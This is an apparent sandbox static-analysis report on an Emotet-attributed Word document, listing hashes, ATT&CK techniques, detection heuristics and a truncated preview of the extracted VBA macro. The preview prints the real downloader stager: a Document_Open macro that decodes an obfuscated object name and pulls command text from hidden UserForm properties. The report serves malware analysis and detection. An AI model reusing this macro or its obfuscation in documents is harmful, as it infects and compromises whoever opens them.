Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2ef79addbe800eb9…

MALICIOUS

Office (OLE)

233.0 KB Created: 2020-08-17 11:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 42e485139fb6cbd9171769b6a87ad9c9 SHA-1: 25d5ce7769e9ae4c007bbfb0de9b889154866fd8 SHA-256: 2ef79addbe800eb9cc6e7cd3386b63c1370ec0f595ec5b65a082dfbce3837859
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File

The file contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The presence of these elements suggests the macro is designed to execute a malicious payload. ClamAV detection further supports the Emotet family attribution.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9369628-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9369628-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10143 bytes
SHA-256: 52d2f57edb1dd89cc2bb1949fd9dc171537beeb631b74b4e9db447f2c12c3a62
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vtg3o47v9ukekyf4"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Svfjwdrua_s0.Jdmi_8noy_ijlh6
End Sub


Attribute VB_Name = "Svfjwdrua_s0"
Attribute VB_Base = "0{596F07EE-BA1C-4D01-95D3-1CEB307CC6AD}{E2BA7F76-6E1E-4AC3-88DC-D75812056C7A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jdmi_8noy_ijlh6()
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq35nu4r7 = A2gtjha7nq35nu4r7 & CStr(Xdtym8_1wxc3_vg5w4)
Bvc853hiumh = A2gtjha7nq35nu4r7
Thg720ujmjaihay = Svfjwdrua_s0.HelpContextId + 100
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq35nu4r7 = A2gtjha7nq35nu4r7 & CStr(Xdtym8_1wxc3_vg5w4)
Bvc853hiumh = A2gtjha7nq35nu4r7
Q9u1bigp6cnb = ChrW(Thg720ujmjaihay + (100 + 35) / 9)
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq35nu4r7 = A2gtjha7nq35nu4r7 & CStr(Xdtym8_1wxc3_vg5w4)
Bvc853hiumh = A2gtjha7nq35nu4r7
X07to5klm4_6saw5 = "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2si8[2[23bjgas ooo82&jhsb uqgw[[[ww2snm8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sgm8[2[23bjgas ooo82&jhsb uqgw[[[ww2st8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Q9u1bigp6cnb + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s:8[2[23bjgas ooo82&jhsb uqgw[[[ww2sw8[2[23bjgas ooo82&jhsb uqgw[[[ww2sin8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2s38[2[23bjgas ooo82&jhsb uqgw[[[ww2s28[2[23bjgas ooo82&jhsb uqgw[[[ww2s_8[2[23bjgas ooo82&jhsb uqgw[[[ww2s" + Svfjwdrua_s0.Va0upr1fl10j45 + "8[2[23bjgas ooo82&jhsb uqgw[[[ww2sro8[2[23bjgas ooo82&jhsb uqgw[[[ww2s8[2[23bjgas ooo82&jhsb uqgw[[[ww2sce8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2ss8[2[23bjgas ooo82&jhsb uqgw[[[ww2s"
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq35nu4r7 = A2gtjha7nq35nu4r7 & CStr(Xdtym8_1wxc3_vg5w4)
Bvc853hiumh = A2gtjha7nq35nu4r7
I_7rbg40eqm148j = Lano38asvkkpi7n1rm(X07to5klm4_6saw5)
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq35nu4r7 = A2gtjha7nq35nu4r7 & CStr(Xdtym8_1wxc3_vg5w4)
Bvc853hiumh = A2gtjha7nq35nu4r7
Set D2ek51o2jqpcgz = CreateObject(I_7rbg40eqm148j)
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq35nu4r7 = A2gtjha7nq35nu4r7 & CStr(Xdtym8_1wxc3_vg5w4)
Bvc853hiumh = A2gtjha7nq35nu4r7
Iutnynkj60o4n0x = Svfjwdrua_s0.Bfazrssgiy0q21qv40.ControlTipText
   If 791639 <> 777579 Then
X_16oq9tksubdsvud = 791639 + 1989
Ldw4vziz_hm9 = 777579 - 2013
Else
InputBox (CStr(X_16oq9tksubdsvud) & CStr(Ldw4vziz_hm9))
End If
Ldw4vziz_hm9 = "KAjamLNcTV"
Xdtym8_1wxc3_vg5w4 = 623691
A2gtjha7nq
... (truncated)